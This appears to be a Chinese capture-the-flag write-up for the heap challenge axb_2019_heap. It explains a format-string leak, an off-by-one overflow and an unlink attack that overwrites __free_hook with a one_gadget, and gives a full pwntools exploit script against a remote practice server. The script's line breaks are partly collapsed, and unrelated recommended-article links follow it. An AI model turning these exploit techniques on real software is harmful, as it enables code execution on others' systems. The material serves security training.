axb_2019_heap

查看保护


在get_input这个函数里有一个off-by-one

size大小>0x80

字符串格式化溢出
利用字符串格式化溢出,泄漏程序地址和libc,因为有一个off-by-one,这里采用unlink,因为程序会创建全局变量note来放入指针和size,unlink到这里改指针为hook,改hook为one_gadget即可。具体unlink手法见z1r0’s blog

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 27450)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = '>> 'def add(index, size, content):r.sendlineafter(menu, '1')r.sendlineafter('Enter the index you want to create (0-10):', str(index))r.sendlineafter('Enter a size:', str(size))r.sendlineafter('Enter the content: ', content)def edit(index, content):r.sendlineafter(menu, '4')r.sendlineafter('Enter an index:', str(index))r.sendlineafter('Enter the content: ', content)def delete(index):r.sendlineafter(menu, '2')r.sendlineafter('Enter an index:', str(index))offest = 7p1 = '%11$p%15$p'
r.sendlineafter('Enter your name: ', p1) r.recvuntil('0x')
base_addr = int(r.recv(12), 16) - 0x1186
success('base_addr = ' + hex(base_addr))libc = ELF('./libc-2.23.so')
libc_base = int(r.recv(14), 16) - libc.sym['__libc_start_main'] - 240
success('libc_base = ' + hex(libc_base))one = [0x45216, 0x4526a, 0xf03a4]
one_gadget = one[1] + libc_base
success('one_gadget = ' + hex(one_gadget))
free_hook = libc_base + libc.sym['__free_hook']bss_addr = base_addr + 0x202060add(0, 0x98, 'aaaa')    #0
add(1, 0x90, 'bbbb')    #1
add(2, 0x90, 'cccc')    #2fd = bss_addr - 0x18
bk = bss_addr - 0x10p1 = p64(0) + p64(0x91) + p64(fd) + p64(bk) + p64(0) * 14 + p64(0x90) + b'\xa0'
edit(0, p1)
delete(1)p2 = p64(0) * 3 + p64(free_hook) + p64(0x10)
edit(0, p2)edit(0, p64(one_gadget))delete(2)r.interactive()

axb_2019_heap相关推荐

  1. axb_2019_heap详解

    关于axb_2019_heap的详解 参考:buuctf axb_2019_heap 程序流程 banner:存在格式化字符串漏洞,可以泄漏栈上的信息 add:根据idx创建size(大于0x80)大 ...

  2. buuctf axb_2019_heap

    拖进IDA之后,发现输入函数是存在off-by-one漏洞的,可以进行溢出 同时存在全局指针数组,就可以利用这个溢出来构造fake chunk,然后实现unlink 除此之外,这个程序malloc的大 ...

  3. PWN-PRACTICE-BUUCTF-23

    PWN-PRACTICE-BUUCTF-23 gyctf_2020_some_thing_exceting axb_2019_heap [极客大挑战 2019]Not Bad inndy_echo g ...

  4. Uuntu16 学习记录(持续更新中......)

    Top Chunk: 概念:当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk. 作用:该chunk并不属于任何bin,而是在系统当前的所有free ch ...

  5. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

最新文章

  1. 【转】如何使用VS 2013发布一个可以在Windows XP中独立运行的可执行文件
  2. 前端div里的内容下沉_自学Web前端的五个不同阶段,从浅入深
  3. [LintCode] Simplify Path [字符串操作]
  4. model模型php,thinkphp的model模型的设计经验总结
  5. Linux安装samba组件,CentOS7安装samba服务
  6. linux 网卡no carrier,linux centos 7 网卡突然不能上网异常解决
  7. [NVIDIA] Ubuntu 20.04 安装 nvidia-460 + cuda-11.2
  8. 机器学习基础(十九)—— Trick
  9. 一位36岁程序员的困惑(转)
  10. 修改Chrome的User Agent的方法 真实有效
  11. Markdown公式编辑总结
  12. hive 漫威the_2021年即将上映的漫威电影
  13. 反垃圾邮件系统管理手册
  14. 内存不能为“read” “written”的解决方法
  15. 零代码爬虫神器 -- Web Scraper 的使用
  16. 线上慎用Java断言
  17. 数据基础设施,证券行业跑赢时代的新引擎
  18. Gradle依赖本地aar包
  19. Flink事件时间和水印详解
  20. 用JSP构建三层管理信息系统

热门文章

  1. 我待JAVA如初恋,JAVA虐我千百遍,如何彻底卸载JAVA
  2. C#悬浮窗口 图像背景
  3. ubuntu22.04下Ethercat IGH DC同步实现
  4. 卫生专业计算机考试证书,中国卫生人才卫生网官网_卫生资格证电子证书打印时间...
  5. sql中单引号里面单引号怎么处理
  6. Spring Cloud与Dubbo优缺点(面试题)
  7. python图片横向合并_使用python进行图片横向拼接
  8. 3D图形学(10):游戏中的加速渲染算法
  9. Arcengine的工具中实现Snapping(捕捉)
  10. Wondershare Filmora9使用教程:如何添加元素、过渡!